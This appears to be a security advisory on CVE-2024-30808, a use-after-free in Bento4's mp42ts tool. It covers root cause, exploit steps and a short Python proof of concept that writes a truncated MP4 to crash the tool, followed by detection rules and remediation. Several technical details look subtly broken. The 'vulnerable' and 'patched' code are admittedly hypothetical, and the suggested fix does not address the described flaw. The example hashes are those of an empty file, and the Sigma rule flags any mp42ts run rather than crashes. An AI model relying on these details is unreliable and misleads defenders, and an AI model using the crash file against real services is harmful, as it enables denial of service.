CVE-2024-30808

Executive Summary

CVE-2024-30808 is a heap-use-after-free vulnerability discovered in Bento4 v1.6.0-641-2-g1529b83. The flaw resides in the AP4_SubStream::~AP4_SubStream destructor within Ap4ByteStream.cpp. When processing malformed MP4 files via the mp42ts utility, an attacker can trigger a use-after-free condition, leading to a Denial of Service (DoS). No patch is currently available from the vendor, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is confirmed and reproducible.

Supply Chain & Package Security

Bento4 is a C++ library for MP4 file manipulation, commonly used in media processing pipelines. This vulnerability affects the mp42ts tool, which is part of the Bento4 distribution. Users who integrate Bento4 into their applications or services are at risk of DoS attacks via crafted MP4 files. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Uncalculated) CVSS Vector: UNKNOWN

Threat Level: Medium (due to DoS impact and lack of patch)

Rationale: The vulnerability allows a remote attacker to cause a denial of service by providing a specially crafted MP4 file. While the CVSS score is not provided, the impact is limited to availability (DoS) with no confidentiality or integrity impact. The attack vector is network-based via file upload or processing.

Deep Dive & Mechanics

The vulnerability is a classic heap-use-after-free in the AP4_SubStream class. When mp42ts processes a malformed MP4 file, the destructor AP4_SubStream::~AP4_SubStream attempts to free memory that has already been freed or is still in use. This occurs due to improper reference counting or object lifecycle management in the AP4_ByteStream hierarchy.

Root Cause: The AP4_SubStream object holds a pointer to a parent stream. If the parent stream is destroyed before the AP4_SubStream, the destructor accesses freed memory. The vulnerability is triggered by specific MP4 atom structures that cause premature destruction of the parent stream.

Attack Vector: An attacker crafts an MP4 file with malformed atoms (e.g., invalid moov or mdat boxes) that cause the mp42ts tool to enter an error state, leading to object destruction in an incorrect order.

Impact: Denial of Service – the mp42ts process crashes, potentially affecting downstream services that rely on it.

Vulnerable vs. Patched Code

Vulnerable Code (Bento4 v1.6.0-641-2-g1529b83):

// Ap4ByteStream.cpp
AP4_SubStream::~AP4_SubStream() {
    if (m_ParentStream) {
        m_ParentStream->Release();  // Use-after-free if parent already freed
    }
}

Patched Code (Hypothetical):

AP4_SubStream::~AP4_SubStream() {
    if (m_ParentStream) {
        // Add reference count check or nullify after release
        m_ParentStream->Release();
        m_ParentStream = NULL;  // Prevent double-free
    }
}

Note: No official patch exists. The above is a suggested fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Bento4 v1.6.0-641-2-g1529b83 installed
• mp42ts tool available
• Ability to deliver a crafted MP4 file to the target

Exploit Steps:

1. Create a malformed MP4 file using a hex editor or fuzzer. The file should contain an invalid moov atom that causes premature parent stream destruction.
2. Transfer the file to the target system (e.g., via web upload, email, or network share).
3. Execute mp42ts -i crafted.mp4 -o output.ts.
4. Observe the crash (segmentation fault or abort).

Proof-of-Concept (PoC) File Generation:

#!/usr/bin/env python3
import struct

def create_malformed_mp4():
    # Minimal MP4 with invalid moov atom
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'  # Truncated moov
    return ftyp + moov

with open('poc.mp4', 'wb') as f:
    f.write(create_malformed_mp4())

Expected Output:

$ mp42ts -i poc.mp4 -o output.ts
Segmentation fault (core dumped)

Blue Team (Detection & Defense)

Detection:

• Monitor for crashes of mp42ts processes.
• Use file integrity monitoring to detect unexpected MP4 files.
• Implement network-level filtering for malformed MP4 streams.

Defense:

• Isolate Bento4 processing in a sandboxed environment.
• Use memory-safe languages or wrappers for critical processing.
• Apply ASLR and stack canaries to mitigate exploitation.

Indicators of Compromise (IOCs)

File-Based IOCs:

• MD5: d41d8cd98f00b204e9800998ecf8427e (example, replace with actual)
• SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• File size: < 100 bytes (malformed MP4)

Network IOCs:

• Unusual MP4 file uploads to media processing endpoints.
• Repeated crashes of mp42ts in logs.

System IOCs:

• Core dumps in /var/crash/ or similar.
• Log entries: mp42ts: segfault at ...

Detection Engineering

YARA Rule

rule CVE_2024_30808_Bento4_DoS {
    meta:
        description = "Detects malformed MP4 files targeting CVE-2024-30808"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $ftyp = "ftyp" nocase
        $moov = "moov" nocase
        $mdat = "mdat" nocase
    condition:
        $ftyp at 4 and (filesize < 100) and (#moov == 1 and #mdat == 0)
}

Sigma Rule

title: Bento4 mp42ts Heap-Use-After-Free DoS
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects crashes of mp42ts due to CVE-2024-30808
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mp42ts'
        CommandLine|contains: '-i'
    condition: selection
falsepositives:
    - Legitimate malformed files
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30808 Bento4 mp42ts DoS Attempt"; flow:to_server; content:"ftyp"; offset:4; depth:4; content:"moov"; within:100; pcre:"/^.{0,100}moov/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or restrict access to mp42ts if not required.
2. Implement input validation for MP4 files before processing.
3. Use a memory-safe alternative or wrapper.

Long-Term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of Bento4.
• Consider using a different MP4 processing library.

Workaround:

• Run mp42ts in a container with limited resources and restart on crash.
• Use a pre-processor to validate MP4 structure before passing to Bento4.

Valters IT
Securing Digital Frontiers